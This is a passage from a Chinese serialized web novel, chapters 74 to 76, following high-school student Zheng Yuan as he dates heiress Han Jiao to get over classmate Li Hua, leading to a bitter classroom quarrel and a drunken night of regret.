李华无从想他去哪里，又怎么走。大年夜，到处阖家欢乐。郑源裹紧了衣裳，手机屏幕暗了又亮，亮了又暗。有一条缩在垃圾桶旁边的流浪狗，蜷缩着一动不动。郑源莫名停下看着它，片刻后朝它走去。他用脚踢了踢，是个不大的土狗，已经僵了。
郑源突然就绷不住了。他泄愤似的狠踹垃圾桶，眼眶却红了。哽着气将垃圾桶踹出个坑，累了，又冷又累，掐着腰站那儿歇了歇，最后看眼冻死的狗，背着包走了。
他烧了三天。
复工后他照常去学射击，没表现出有什么不对劲，只是比以往沉默，好说话，又乖张暴力，阴晴不定的像夏天的雨季，不知道什么时候就会炸雷轰顶。离他最近的胡司机心有余悸。载他来到樊瑞的小庄园。工程加班加点，已经完成了大半。樊瑞诚邀他和他的小同学李华来玩。郑源看他一眼，没说话。只一眼，向来人精的樊瑞就知道这是俩人又崩了。或者说是又又又崩了。他忍不住真情流露道：“实在不行就算了，郑少，强扭的瓜不甜。”你看他，就不强求和傅一青有个结果，不是自己的就不是自己的，怎么都没用。
郑源不论这套。有什么是强求不来的，抢也能给他抢来。是他不愿、不想而已，不是他不能。他没说话，樊瑞呛不准他什么意思，也没多管。只说晚上有个聚会，是私塾那帮朋友年后一起来玩的，问郑源参不参与。郑源摆摆手，他对这些不感兴趣，不如回去练射箭。遭到他的拒绝在情理之中，只是苦了一直痴心等他的小女孩儿。樊瑞耸耸肩，遗憾似的：“韩娇又该失望了，她最期待能在这样的场合见到你了。”
闻言郑源的脚步顿了。他沉默了会儿，不知道在想什么。樊瑞也没在意，过了会儿，郑源和他说，晚上他去。
“你来？”樊瑞震惊，“你真来假来？不是唬我的吧？”
“唬你干什么。”郑源扯了下嘴角，“我也挺想那帮朋友的，正好见见。”
韩娇是郑源还上私塾时的同班同学。他脑袋灵光，郑玉安又管的严，算是那帮男孩子里的佼佼者，长得好个子高，学习好还不乱搞。就他们那波早熟的，有两个把女生肚子都搞大了，又让家里摆平着堕胎，在他们的私塾里都是司空见惯、见怪不怪的八卦。郑源虽不是里面最有钱的，但是自古官商勾结，也没人愿意去触他的霉头，郑玉安跟尊佛似的站在他身后，无形中给他套了层孙悟空的金箍罩，杜绝外界一切妖魔鬼怪。他转走后情况怎么样不得而知，但他自己的确融入了正常人的生活，没有整天浸淫在谈情说爱、豪车名表的虚浮世界里。
依旧是樊瑞做东。陆陆续续来了许多生老面孔，几个和郑源有点关系、打过交道的，都来跟他说话寒暄。韩娇到的时候都迟到了，大家正坐在一起组局玩游戏。她是黑长直，拉了头发，小皮衣下是小短裙，长筒靴，严格意义上她还比郑源大一岁，眼影是淡紫色的，一张小脸还没巴掌大。郑源正坐在沙发中间看着她，坐姿不太端正，翘着二郎腿歪着头，看着她笑了一下：“好久不见。”
周围你看看我，我看看你，都捧场的怪叫起来，猴儿似的。韩娇的脸蹭的就红了。有眼色的人给她让位，她坐在了郑源身边。身上香喷喷的。韩娇说：“你这次怎么来了？”
她喜欢郑源不是秘密，整个圈里的都知道。当初郑源转走，她哭了好久，还去找过他，但是都被拒之门外，后就希望能有这样的场合或者聚会饭局，能再多见见他。
他们现在的喜欢讨厌不算个事儿，还没牵扯到两家的利益关系，家长一般不管，反而会多劝着让他们跟朋友们打好关系，交往密切，毕竟天灾人祸，谁都不知道命运下一步会怎么走。就像郑源的父亲，说跳楼就跳楼，死了以后名下所有财产资源都被瓜分，就留郑源一个，连照看的人都没有。
这些人都想的长远，不把虚情假意当回事儿，真心自然也算个屁。
“听说你想见我。”
郑源斜着眼眯她。
韩娇支支吾吾说不出话，连看他都不敢。郑源还不嫌事儿大的把她垂在身前的发拨到耳后。他细心耐心起来颇有个正经样。有几个玩着的眼睛也瞟着他们，起哄地打断：“来来来，真心话大冒险，你俩也不能跑。”
郑源跟他们玩的少，这种娱乐项目参与的也少，骰子掷的并不好，开局就输，胆子很大的选了大冒险，有几个看热闹不嫌事儿大的：“亲韩娇！”
韩娇面红耳赤，将眼前的水果扔过去一个：“说什么呢！”
“我这是帮你啊韩奶奶。”对方接着小金桔，剥着吃，“不识好人心。”
“这个就算了吧。”樊瑞打着圆场，他可是知道郑源一颗心吊在谁身上，“换一个换一个。”
“不用。”郑源无所谓，他喝了口酒：“韩娇不介意就行。”
“我……”韩娇紧张的捏着手：“游戏而已……”
郑源笑笑，看着她，一双眼睛又亮又温柔，逐渐向她靠近。韩娇没想到他这么干脆，害羞迫使她后移，绷直身体闭上眼睛。郑源已经离她很近了，平静地看着她的反应，身后的人已经开始尖叫了，他们的视角是郑源压过去，只留个后背，很快，郑源低下了头，又缓慢抬起
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，尖叫声一片，郑源笑着靠回来，韩娇更是瞪大眼，眼睛都湿了，脸红心跳的令人遐想。
樊瑞神情复杂。
又玩了两把，郑源抽着烟，是韩娇替他掷的，韩娇手气比他好，都赢了。郑源看着她细白的手指，只是垂眸笑着，一动也不动。片刻后，韩娇把自己的手塞进他的手里。
郑源没有挣脱。
韩娇便靠在了他怀里。
聚会结束，樊瑞命人收拾着东西，头疼地揉揉眉心，说：“你什么意思？”
郑源托着下巴，韩娇已经让司机接走了，临走时还在他脸上亲了一口。两人也互加了联系方式，颇有进一步发展的意思。
樊瑞开始觉得自己的建议是个错的。他知道自己不能不该多问多管，但郑源这人脾气坏是坏了点，本性还是不错的，再说也算他半个朋友。他实在是不忍朋友做错事，走歪路。
“没什么意思。”郑源站起来伸个懒腰，说：“回家了。”
“你别赌气。”樊瑞劝道：“别自己气自己。”
郑源冷笑一声。
他有什么好气自己的？他有什么错？他能做的都做了，能改的都改了，放过李华不好吗？不纠缠他、不恶心他、不让他痛苦，不好吗？这也是他的错了？
他巴不得他这么干。
年后的假期过的非常快。李华已经把能预习的全学了。鉴于郑源深夜的离开，他只顺着他的谎话延下去，跟爸妈说是他家里人来接他了。李建民和王淑梅也没多问，只是心疼他的头，问他怎么搞的，他说从床上摔下来了，磕到了。这对淳朴的父母也没有疑心，只让他去床上躺着歇，什么都别干，怕把脑子磕坏了。郑源走的那天一个人走的，什么都没带。他的东西被李华扔了，又一个个捡起来了，放在一起，等开学了还给他。那破烂的平安福在他手里多待了会儿，李华看着它心里不是滋味，一个好好的、漂亮的金饰就被这么毁了，估计很难复原了。
他冷静后也反思，问自己为什么那么说。但是不知道，他就是想那么说。说了有没有后悔，这是李华不知道的，反正郑源一直欺负他，他消失不正好吗？
他不再想这些杂七杂八的，全身心投入到学习里，晚上的时候，却有些失眠。他摸黑捯饬智能机，却不知怎么，点开了自己的朋友圈。他的社交软件上谁都没有，只有一个郑源。郑源倒是教过他这是怎么玩的，只是他从没想起来过，而且郑源说有事就打电话，跟着他的习惯走，他也很少玩这个。李华就更把他抛之脑后，这种带有娱乐性质的东西是向来不能在自己的世界里出现的。只是他一眼就看到了他发的朋友圈。
郑源就只有这一条朋友圈，显示发送的时间是三天前。
李华放下手机，没再看一眼。
朋友圈是一张照片，郑源面前站着一个比他低的漂亮女生，文案只有三个字。
女朋友。
68.第 74 章
郑源谈了个女朋友人尽皆知。郑玉安却是回来后才知道的。他发的那条朋友圈评论长达几十条，都是认识的不认识的人在祝福。有眼尖的认出来这是韩家千金韩娇。韩家主做化妆品贸易，跟韩国、欧美都有大幅度往来交易，在港口有自己的贸易仓。韩氏集团就这一个捧在手心里的小公主，宠的上天入地没一个人说不。她喜欢郑源，喜欢的不加掩饰，家里人也都知道，无奈之余只能劝说，奈何千金不听，为博千金一笑，他们也就睁只眼闭只眼，随她去了。谁知道俩人还真在一起了。
“胡闹。”郑玉安皱着眉头，秘书问要不要跟小少爷说一声，郑玉安的眉头却又舒展了，摆摆手，意思是随他去。郑源对韩娇是真好，任何上新的新品不要钱似的往家里送。韩娇在床上滚着跟他打电话，意思是你个傻子，浪费钱，她家就是干这个的，还花钱买这些干嘛。郑源只说：“应该的。”
韩娇说：“我想去迪士尼。”
郑源说：“好。”
韩娇又说什么，郑源还是说好。韩娇说：“那我们见面吧，我想亲亲你。”
郑源说：“好。”
就没有不好的，傻子。
韩娇甜滋滋地跟郑源见了面，两个人一起去看了电影，吃了饭，郑源一直绅士又体贴。韩娇还是有些羞涩，上了车才敢亲亲他的侧脸，又嫌累的躺在他的腿上。郑源捻起她的一缕直发在指尖把玩。
韩娇看似躺着耍手机，却是在看他锋利的下颚。郑源的五官很立体，眼睫毛也很长。韩娇伸手拨了一下，被他握住手。她连忙装困，把自己埋在他的小腹处，腹肌隔着衣服也硬邦邦的。她的耳尖都红了。郑源垂眸看她，指尖插入她的发丝，什么都没说。
车停了，车上的人没动静。韩娇忍不住看他，发现他在发呆。她抿了抿唇，眼神暗了一瞬，坐直身体，穿着短裙也干脆地跨坐在他身上，搂住他的脖子。两个人四目相对，郑源下意识扶助她的腰，察觉到姿势太过暧昧，想松手，韩娇却说：“我知道，你有喜欢的人吧。”
郑源一顿，握住了她的腰，“没有。”
“不可能，我都知道。”韩娇离他很近，像是要亲上，“我那么关注你的动向，你之前在樊瑞那儿让人给你出谋划策，又伤心欲绝，我就知道你有喜欢的人了，怎么可能瞒的过我。再说我们也没接触过，你怎么会突然答应和我在一起。”
郑源没什么好说的，“抱歉。”
“道什么歉。”韩娇笑起来，“你既然选择和我在一起，就说明你也不想继续喜欢了呀。我开心还来不及，为什么要道歉。再说好不容易等来机会，我才不要放弃，而且我感觉吧，你喜欢我只是时间早晚的问题，我这么漂亮可爱又善良，不可能有人不喜欢我。”
她眨眨眼，作势要亲他。唇都快碰到唇，她一偏头，靠在他的肩膀上，握住他的手：“我等你心甘情愿的来亲我。”
郑源笑了，摸了摸她的后脑勺，颇有怜爱的味道：“不回家了？”
“舍不得你嘛。”韩娇搂住他的腰，好奇地问：“她长的漂亮吗？”
郑源的笑微微收了，没说话。
“有我漂亮吗？”
“没有可比性。”郑源捏着她的脸，“回家去。”
“怎么没有可比性，比我好还是比我坏啊？啊？脸都让你捏疼了！”韩娇打他的手，很娇嗔，“你说嘛说嘛，我好奇。”
“他是男生。”郑源心平气和地说：“你是女孩儿，你们没有可比性。”
韩娇一顿，“真是男的啊？”
郑源点头。
韩娇撇了下嘴，说不上来什么滋味，又很快打鸡血：“男的怎么了？男的我也能比下去，你是只喜欢他，还是就喜欢男的？”
“只喜欢他。”郑源很坦荡。他对男的不感兴趣，感兴趣的话也不会找韩娇了。
“那还好。”韩娇整了整衣服和发型，“双性恋多的去了，也不差你一个。”
她回头看他，还是在他脸上亲了一口，“我走了，记得想我，晚上跟我打电话陪我睡觉，书上说21天就能养成一个习惯，你可以先习惯我，再喜欢我。”
郑源笑了一声。
韩娇是个非常活力四射、充满魅力的女孩儿。郑源不得不承认，她的确温柔善良又体贴，甚至是宽容。
“过两天有时间吗？”郑源看着她：“冬令营，感兴趣吗？”
“冬令营？好无聊的，但是你带我去吗？”
“嗯。”
“那我跟你去。”
冬令营开始那天也是开学那天，郑源请了假没出现在学校。李华一个人拖着大包小包坐的公交。两三个小时到了学校。他这次不再住舅舅家里，也不想再出校门，就在学校呆着挺好。去冬令营的路上，郑源接到郑玉安的电话，说小荷死活不愿意去，就只想跟着她妈，哭的不行。没办法，就不带她了。倒让郑源舒服多了。一路上都是送孩子的家长，胡建国看了眼后视镜，感慨似的说了一句：“也不知道小李同学到校没有。”
身后坐着郑源和韩娇。胡建国倒不是不知道他们两个闹掰了。多少他也听说了。他就是存了点自己的小心思，想给李华讨个好。
“小李同学是谁？”韩娇敏锐地看着郑源，“你喜欢的那个人吗？”
郑源嗯了一声，“以后别提他了。”
胡建国说了声好。
把人送到地方，韩娇去了卫生间。胡建国正准备走，被郑源叫住了。胡建国两步并作一步：“少爷。”
郑源沉默片刻，说：“你看着他点儿，有事儿不用给我打电话，你自己看着办吧，用钱找我报销。”
胡建国应了声好，看着他和韩娇离开。
冬令营的目的地不在这儿，在隔壁市，在此集合。韩娇和郑源坐在一起，韩娇说：“我们晚上会睡一起吗？”她的目光里有些期盼，抱紧了自己的背包，仿佛里面有什么好东西。
“不会。”郑源好笑地看她一眼，“这是正儿八经的冬令营，不是开派对聚会。”
况且他是带着任务来的，不是来玩的。
韩娇还挺失望。
郑源看着她撇嘴的模样，突然发自内心地说了句：“我如果有你这样一个妹妹就好了。”
他大概也就不会感到孤独了。
韩娇瞬间如临大敌，警铃大作：“什么意思？我把你当对象，你想让我当你妹？你没搞错吧郑源，我这么没有魅力的吗？！”
她震惊的声音很大，让郑源不得不捂住她的嘴：“小点儿声。”
韩娇哼了一声，非把自己的脸怼到他的嘴边：“亲我。”
郑源把她揽在怀里，敷衍地拍了拍她的头：“好了，不闹了，睡会儿吧，到了喊你。”
学校里叽叽喳喳很吵闹，大家都还有刚过完年的余韵，兴奋的不成样子。李华从始至终都安静地坐在座位上，他重复、反复地复习着课本，每道题都会的不能再会，只听题都能写出正确答案。跟成群结队的同学们不同，他这儿像被隔绝了，地处一片真空。出太阳了，天还是有点冷，他看着跳跃在指尖上的阳光，微微眯眼，仿佛把手指都照透明了。
“李华！”有人一屁股坐在他身边，风风火火地：“新年快乐啊！你压岁钱收多少？”
王玉代。李华说：“没多少。”
王玉代咧着牙一笑：“我收了好几千，
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厉害吧。”
“厉害。”
“诶你同桌谁来着？不来上课。”他翻翻桌兜，突然想起来，“我靠，郑源。”
李华把脸扭过去。
“他家有钱。”王玉代羡慕嫉妒恨地说：“他收的压岁钱肯定更多。”
李华没吭声。
“诶对了，他谈恋爱了你知道吗？”王玉代最喜欢听八卦了，作为郑源的好朋友李华，肯定得知道些什么。再说他都谈恋爱了，那他跟李华之间肯定清清白白了。
李华看着他：“你也知道？”
“啊。他不是发朋友圈了吗？我加他微信了！”王玉代说：“你见过没？长什么样？”
“那不是有照片。”
“照片能P啊，我说的是真人。”
“我怎么见。”李华说：“我上哪儿见他女朋友真人？”
“也是。”王玉代嘶了一声，摸摸下巴，又暗戳戳地说：“郑源都谈了，你跟徐梦梦真没可能了？”
“你烦不烦？”李华看着他：“回你自己的座位上去。”
“诶你这人。”王玉代讨个没趣，气哼哼地走了。
李华闭闭眼，强压下起身就走的冲动。
老师来了，发新书，看到郑源的座位空着，让李华帮他领回去。
李华简直要崩溃，郑源郑源郑源，去哪儿都是郑源，上哪儿都是郑源，就没有一个他不在的地方吗？！他一点都不想听到他的名字，看到他的任何东西，更不想听到跟他有关的任何事！
他们已经闹掰了，已经没有关系了，彻底断掉了！到底有没有人能懂啊！
李华要抓狂。
好在的是刚开学，事儿多，很快这个请假如家常便饭般的人不再是谈论的焦点。只是班级里开始流传起一些不好的现象，那就是大家都在跟风似的谈恋爱，这个跟那个，那个跟这个，林林总总竟然没有几个单身的。
李华感觉这真是好的不学学坏的。
也不少人跟他表白，他都一一回绝。谈恋爱，恋爱有什么好谈的？他不明白。他们的任务都完成了吗？就开始谈恋爱。郑源谈恋爱他的确有那个资本，他家有钱，谁能管他，其他人呢？李华不理解这种有什么好跟风的，看不惯也不推崇。
一个星期过后，郑源回来了。
不少人说在大门口看到他跟他女朋友了。
李华只听着，不知道为什么心跳加快了。他有点想逃，有点想跑。兴许是上天听到他的声音，他们最后一节课还真是体育课。体育老师让集合，他没看到郑源的身影，暗自松了口气，却在跑步的时候被绊倒。不算是狗啃泥也不算是雅观。运动向来是他的弱项。他的手掌呲破了皮，疼的倒吸冷气，挣扎着爬起来。被人从身后捞了一把，单从这个力度，他就僵直了。他猛然转头，郑源剪了头发，看起来比以前更帅气了，还瘦了点。他很快松开手，挺有礼貌地看着李华，说：“你没事吧。”
李华摇摇头，郑源说：“注意安全。”
说完他就走了，李华张张嘴，又闭上，看着他的背影。他很快融入到了集体里，跟大家一起跑起来。李华慢步坐到一旁的操场边，看着大家的身影在阳光下跑了最后一圈。那里面一眼就能看到郑源，他的个子、他的步伐，有种鹤立鸡群的稳健。
跑完步就解散了。李华一瘸一拐地朝教室走去。郑源和几个男生说说笑笑，路过他时顿了一下，两个人四目相对，郑源还是停下关心地问了一句：“需要帮忙吗？”
李华摇摇头。郑源没说什么，抬脚走了。
“诶，源子，你女朋友真长那么漂亮？”
“嗯。”郑源笑着说：“还很可爱。”
69.第 75 章
韩氏集团的老总是韩本洺，韩娇的母亲。韩本洺年轻时就是卖化妆品的，后来越做越大，成立了公司，注册资金五百万，名下旗舰店几十家。她每天忙的脚不沾地，日流水进账多的数不清。她和韩娇的父亲离了婚，对方现在已经出国定居。韩娇跟着她长大，颇有她几分骨气，什么事都喜欢自己争取。想当年她还小，韩本洺为了不被他父亲看不起，一边拉扯她一边创业，活的跟个单亲妈妈似的。多少人都不看好，劝她跟自己男人低个头，日子还好好过。那个时候韩本洺就已经提出了离婚，她说，过得好坏都跟她爸没关系，女儿她自己养。
好在老天有眼，让她成功了，她也就只有韩娇这一个孩子。
寒冬过去，春季来临。晴天陡然转阴，下起了雨。郑源小跑进教室，坐在位置上擦头发。他在外面跟几个同学打球，没想到突然就下了，淋了个半湿。李华早就坐在位置上等着上课。他不可察地往旁边移了移，郑源身上裹挟着他熟悉的气息，又湿又热，味道很浓，让他感觉有点窒息。他住过他家，见过保姆给他洗衣裳，知道这不是香水味，这是他用的一种类似法国的洗衣牌子，味道撩人的要命。
“源子。”有人喊他，“接着。”
过了一年的郑源仿佛又长大些，比之前好说话，没有那么趾高气扬和飞扬跋扈，反而可以心平气和的和这些他之前看不上的同学们搭腔说话。篮球冲着李华飞过去，李华瞪大眼，猛然出现一只手将其拦下，强劲有力地扣下球，郑源扭头看他，弯了下眼：“吓到了？”
他的嗓音有点哑，带着些轻佻的味道，李华瞬间摇头：“没。”
郑源将球收到脚边，没再说话。
变的是他，又不是他。上课时他倒还是那个不好好听讲的坏学生，手里百无聊赖地转着笔，看起来盯着黑板，实则早就魂游天外。李华站起来要出去，他才反应过来，老师让李华上黑板上演算。郑源腾了点位置，李华还是擦着他的后背过去了。郑源的背瞬间挺直了。李华走到黑板上写题，卷起了校服怕沾上粉笔印，露出一段白皙的手腕，身形像棵小杨树。
郑源低下头。
“很好。”老师说道：“仔细的解题步骤你们看看。”
李华走下讲台，看到郑源拿着笔在试卷上乱涂乱画，全是不规则的线条。
“郑源，答案是什么？”老师问。
郑源一顿，缓慢站起身，李华把卷子递了过去，指了一下。郑源垂眸看着他。
“不知道。”郑源说。
老师不出所料道：“就知道你不知道，不好好听讲想什么呢？坐下。”
李华把卷子收了回去。
下课，郑源起身就走了，最后一节课都没上。
雨越下越大，放学铃打响，李华正掏伞，忽然听到一阵窃窃私语。他下意识抬头看，只见走廊上站了个女生，一看就贵气优雅，穿的很有气质，长的也很漂亮，眼睛像小鹿似的转着，颇为慵懒的站在走廊上。雨幕在她身后像是背景，这一幕拍下来传网上指定能火。
“诶这不是……”
郑源的女朋友。
李华一眼就认出来了。他收回目光，看着自己印着大红花的伞，停了一秒，抽了出来。同学们陆陆续续走出教室。李华也紧跟其后，看人都走的差不多了，女生还一直往里望，忍不住说：“他走了。”
韩娇一顿，看向他：“你知道我等谁？”
李华对上她的目光，无措了一瞬，说了句没，转身就想走。韩娇眼疾手快地抓住他的胳膊，语气很肯定，“你是李华。”
李华张张嘴，又闭上。这就是默认了。他像是想问你知道我，但是又没说。
韩娇松开手，有些懊恼似的：“他什么时候走的？我专门没跟他说跑来的，想给他个惊喜呢。”
“他第四节课没上。”李华说：“你跟他联系一下吧。”
他不想再呆在这儿了，他感觉喉咙不舒服。
韩娇掏出手机给郑源打电话，看李华一副迫不及待要离开的模样，又拦下他，问：“你去哪儿？”
“寝室。”李华说，她不知道她拦他干什么。听到电话那头的声音懒懒的。
“娇娇。”
“你在哪儿呢？”韩娇说，“我来你学校找你，没见到你。”
“你去我学校了？”郑源的声音精神不少，“你现在在哪儿？”
“教学楼，你们教室走廊上。”韩娇堵住李华的路，就是不放他走。
“你出来吧。”郑源说：“我让司机去接你。”
“好啊。”韩娇说，“你们班里的人可好了，我没拿伞，他们还给我一把伞。”
李华看着她手里的黑伞，不明所以。下一秒就知道了，韩娇把他的伞拿走了，把自己的伞给了他，同时也让开了道，说了句：“那你快来吧。”就挂了电话。
李华愣愣的，韩娇说：“你不走吗？”
李华说：“那是我的伞。”
“你用我的。”韩娇看看手里的大红花，有些嫌弃，但也没表现出来，很沉静地看着他，“我知道你是谁。”
她的目光太具有穿透力，让李华感到后背发凉，他不再说什么，转身离开。
韩娇看着他的背影，不知道在想什么。
郑源来的很快。到时韩娇已经在大门口等着了。她上了车，将手上的伞扔在脚边。郑源低头看了一眼，瞳孔微缩，表情也有一瞬间的凝固，但又很快伪装下去。韩娇说：“我以为你不会来呢。”
郑源没说话，任由她靠过来抱住自己。
韩娇又说：“你知道这是谁的伞。”
郑源看她一眼，没说话。
“他好可爱。”韩娇笑着说，“眼神一惊一乍的，像受惊的小兔子。”
“你别欺负他。”郑源说，韩娇看起来人畜无害，却是私塾那帮混蛋里玩的很开的。
“我哪有。”韩娇撇嘴，“我不就是见见么，再说了，你喜欢他，他不喜欢你还好，你喜欢他，他也喜欢你，那我还追个屁啊，早晚你俩搞一起，我还给你们做嫁衣，你赔我精神损失费啊？我不得实地勘察么？不能只听你一面之词。我妈说了，男人无论大小，都最擅长欺骗自己。”
郑源是知道韩娇家事的，一个带着孩子的女人能把公司做的这么大，都快成自立自强的宣扬榜样了。根本不是秘密。他对此无从评价，只是垂眸看着那把伞，不知道在想什么。
“没淋雨。”韩娇说。
郑源敷衍地嗯了一声。
“我说他没淋雨。”韩娇坐直身体，有些烦躁地拧了他一下。疼的郑源曲起腿，“跟谁学的，怎么拧大腿根。”
疼的要命。
“谁让你不关心我。”韩娇还想再拧他一下，被他握住手腕，突然又顺势靠近他怀里，眼巴巴地望着他：“哥。”
郑源嗯了一声，尾音上扬，不明白。
韩娇自我开解，“我觉得当妹妹也挺好。”
郑源不理解，“怎么突然说这个。”
韩娇又坐起来，匪夷所思地看着他，语气含着询问：“你是傻逼？”
郑源：“？？？”
韩娇走了，本说找他玩呢，又改道回家去了。郑源也乐的清闲。却眼睁睁看着她把伞拿走了。郑源说：“你拿走没用。”
“你拿走更没用。”韩娇关上车门，“我还他跟你还他性质能一样么？你什么
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都不懂。”
她甩上车门，走的很潇洒。留郑源自己骂了句脏话。
胡建国却笑了。郑源莫名其妙，“你又笑什么？”
胡建国收了笑，连忙摇头。
第二天，郑源更不太敢跟李华对视了，甚至有点躲着他。他也不知道为什么，就是这么做了。避嫌的意味很明显。让李华有点莫名其妙的同时又释然，理解，看他别别扭扭的样，主动开口道：“你想换位吗？”
郑源一顿，脸瞬间拉下来了，“你不想和我坐一起了。”
这是什么话，但他向来怪自己怪惯了，李华也没什么好说的，在他看来两个人早晚会调开。
郑源看着他这样气不打一处来，但随后又感到自己可笑，无所谓道：“调就调，随你的便。”
郑源的动作比李华想的还迅速，他几乎是第二节课就自请去到最后一排，自己坐，谁都不挨着，老师也拿他没办法。不少人都在揣测他又受什么刺激了，看着李华空空如也的旁边，连带着看他的眼神都有些揣测，让李华也无可言说。他摆出这幅样子给谁看，自己还不是为他好，他都谈女朋友了，又坐在这儿刺挠的要命，他替他着想还是他的错了。李华的脸色也不好看。偏偏王玉代又来了：“诶你俩，又吵架了？”
李华费解，“怎么是我跟他吵架了？他就不能是因为自己的事儿吗？”
王玉代诚实道：“啧。不能，把他气成这样的除了你，我还没见过第二个人。”
“那是你没见过。”李华烦躁地收拾着书包，又突然停下，咄咄逼人：“你这么关心他你怎么不去问他？一直问我干什么？我是他的仆人吗？他的情绪收集者吗？他什么事儿我都得知道吗？”
王玉代茫然地眨着眼：“不是，你怎么了？怎么突然就炸了？”
郑源还在后头坐着，懒洋洋地跷着腿看他们吵架，李华说的他全都听见了。他嘴角挂着冷笑，眼底也一片冷漠，“王玉代，别触我们李大学霸的霉头了，人家心里只有学习，什么儿女情长都只会耽误他学习的脚步。”
李华简直要气炸，他浑身颤抖，抓着课本就朝后砸去，连平时最宝贵的书都不要了，郑源躲了一下，躲掉了，迎面又是一击，直直砸到他脸上，他操了一声，踹开凳子就站起来了，李华也不甘示弱，挺着胸脯跟他硬碰硬。
郑源说：“你他妈发什么疯？我说的不对？什么都顺着你，你还不满意？你他妈太难伺候了吧李华，你是皇帝？得罪你得诛九族？”
李华眼底微红，他说：“你有九族让我诛吗？”
这话太狠了，郑源都愣了，他像是第一次认识李华这个人，连带着周边的人都倒吸一口凉气。郑源点点头，后退两步，“牛逼，真他妈牛逼。”他猛地踹了一脚他的桌子，把上面的东西都踹掉，说：“我是真后悔，李华，我现在真后悔喜欢上你，你根本不识抬举。”
“我没让你喜欢我。”李华抹了把眼泪，“是你自己犯贱非要凑上来，你活该。”
“你他妈还有脸哭？你哭什么？”郑源走到他跟前捏住他的脸，自己也快气疯，“装模作样给谁看？你很委屈？”
李华恶狠狠地盯着他，像头被刺激的狼：“没你委屈，委屈的让你什么都干了，我还没跪着谢你。”
郑源一顿，看着他眼眶里的泪，总觉得这话意有所指，手都松了：“你……”
“你让我恶心。”李华拍开他的手，将黑伞摔到他身上，“少他妈侮辱我，你跟狗谈都跟我没关系。”
他深呼吸，撑着桌子，气的脑子疼，片刻后，在一众人的眼神中背着书包离开教室。郑源沉默地站在原地，过了会儿将他桌子上摔掉的东西都捡了起来。
70.第 76 章
“你到底怎么想的？”韩娇夺过他手里的酒瓶，“别喝了。”
樊瑞将水果放在茶几上，和韩娇对视一眼，耸耸肩。
郑源喝的神志不清，头晕目眩地靠着沙发，又气又憋屈，一张嘴就诉苦，却更像是委屈，“他是块儿石头，我没办法。”
韩娇也不好受，她重开了一瓶啤的，直接对瓶吹，听他絮絮叨叨。
“我不知道，我做什么都不对，我不想喜欢他了，他却老是能夺走我的注意力，还怪我、骂我、排斥我，我纠缠他不对，不纠缠他也不对，我该怎么办？”
“你上辈子欠他的，我这辈子欠你的。”韩娇捻了个红提扔嘴里。樊瑞拍拍她的肩，看郑源迷迷糊糊的睡过去了，便出来抽烟。夜色笼罩，有些冷了。樊瑞将外衣披在她身上，问她怎么想。她抽了根烟，也没客气，将衣服拢了拢，拨了下头发，“我预料之中，我俩能搞上，私塾就搞上了，他转走以后更不可能了，怎么说呢，朋友一场，处不成对象也没必要搞僵，我不是那种把情情爱爱看的特别重要的人，不然他转来的时候我就跟着他转来了，没人能拦我。”
韩娇喜欢上郑源的契机很简单，在她被几个公子哥造谣已经跟几个老男人上过床的时候，郑源嘲讽的说：“一群男生编排一女孩儿，吊不长，舌头挺长。”
自那以后还真很少人拿她开玩笑了，因为会被批判为：长舌男。
特别是那句经典的吊不长。这在一群血气方刚的小年轻里杀伤力堪比核武器。
“喜欢一个人很简单的，根本不需要契机。”韩娇将烟掐灭，“说实话我也很忙，没时间参与他们的感情戏。但是我也没出息，他一天不定下来，我就一天不死心。你知道的，我随我妈，死心得彻底，想要什么也不会轻易放弃。他俩能成，我不再奢想，他俩成不了。”她顿了一下，“我希望这个李华能从我们之间彻底消失，我不想我的男朋友跟一个男人牵扯不清。”
“李华是无辜的。”樊瑞说。他理解也尊重并欣赏韩娇的想法和做法，现实不是狗血偶先剧，哪有恶毒女二一说，她韩娇也是韩氏集团的千金，想要什么样的男朋友找不来，为自己的感情争取，争取不来就算，这点洒脱无论是郑源还是他，都比不上。
“看不清自己的感情就不算无辜。”韩娇嗤笑，“特别是自己不愿意面对，从而给他人制造麻烦，或者做出愚蠢事的人，想让哪个无辜的第三者买单？我？”她感到可笑，“年龄和阅历也不是开脱的理由，难道感情不属于人自我意识的一部分？知道怜悯不知道痛苦？知道讨厌不知道喜欢？如果他真讨厌和喜欢都分不清，他怎么不上来拥抱我？为什么看着我的眼神警惕又克制？甚至……”她挑了下眉，觉得有意思似的，“排斥。”
“我向来讨厌当婊子还立牌坊的人。”她将衣服还给樊瑞，看着他的眼：“无论男女。”
这话太难听了，樊瑞没敢接。他算是知道为什么大家都喊韩娇小韩总，这样清醒的头脑和果决，甚至是狠厉，真跟她妈如出一辙。韩本洺也是个传奇，自己带着女儿干的家大业大，不少男人认为女人终归是女人，最后还是得靠男人，都把主意打在她身上，试图成为另一个总，却没一个成功的。并让韩本洺说出了流传至今的名言：“男人清高又下贱，想要钱权地位女人，又想这些东西追着他跑。”
郑源是韩娇送回家的。胡建国哼着小曲准备下班的时候看到马路边停了辆路虎，在夜光下镀层银似的丝滑又漂亮。他脚步微顿，只一眼就收回目光准备离开，被路虎上下来的人请上车。
韩娇已经很困了，她半缩在座椅里，懒洋洋地眯着眼看他，扔到他身上一个厚厚的红包。
“当成故事给我讲。”
郑源醒来时头痛难忍。喝多了，还混着喝。回来也没人照顾，导致他睡到一半从床上翻下来，睡的浑身疼。他揉着发胀的脑袋，去卫生间小解，看眼镜子里的自己，疲惫又狼狈不堪，接连的心理压力让他吃不好、睡不好，郁郁寡欢，十分没有精气神。他洗干净手，又洗了把脸，出来看眼时间，继续倒头睡。
“郑源，答案是什么？”老师问。
郑源一顿，缓慢站起身，李华把卷子递了过去，指了一下。郑源垂眸看着他。
李华的眼睛依旧很清澈，只和他对视一眼就低下了头。
郑源说：“不知道。”
“不知道？”老师的面目突然扭曲了起来，要冲过来掐他的脖子：“不知道？”
她的脸时时变幻，突然变成了李华。
李华搂住他的脖子，张开嘴，承受他的唇舌。
他在他身下颤抖，睫毛长而密，场景是他的家，天很冷，他们紧紧地靠在一起，李华枕着他的胳膊，靠着他的胸膛，睡的很安稳。
“郑源，答案是什么？”
郑源愣愣的：“不……”
……知道。
他猛然坐起，目光清明。
心脏跳动的异常剧烈，甚至是飞快。他踉跄的到衣柜边扒衣裳，三下五除二就往身上套，李华气哭的一幕还出现在脑海里，他那么伤心欲绝地盯着他，说他跟跟谁谈都没关系——
怎么可能没关系，李华明明气的要炸了，却笨拙的只知道像刺猬露出扎人的刺，护住自己跟性命挂钩的柔软。
那是他唯一、仅有、不能被任何人发现、夺取的。
否则他就危险、不安、甚至是痛苦。
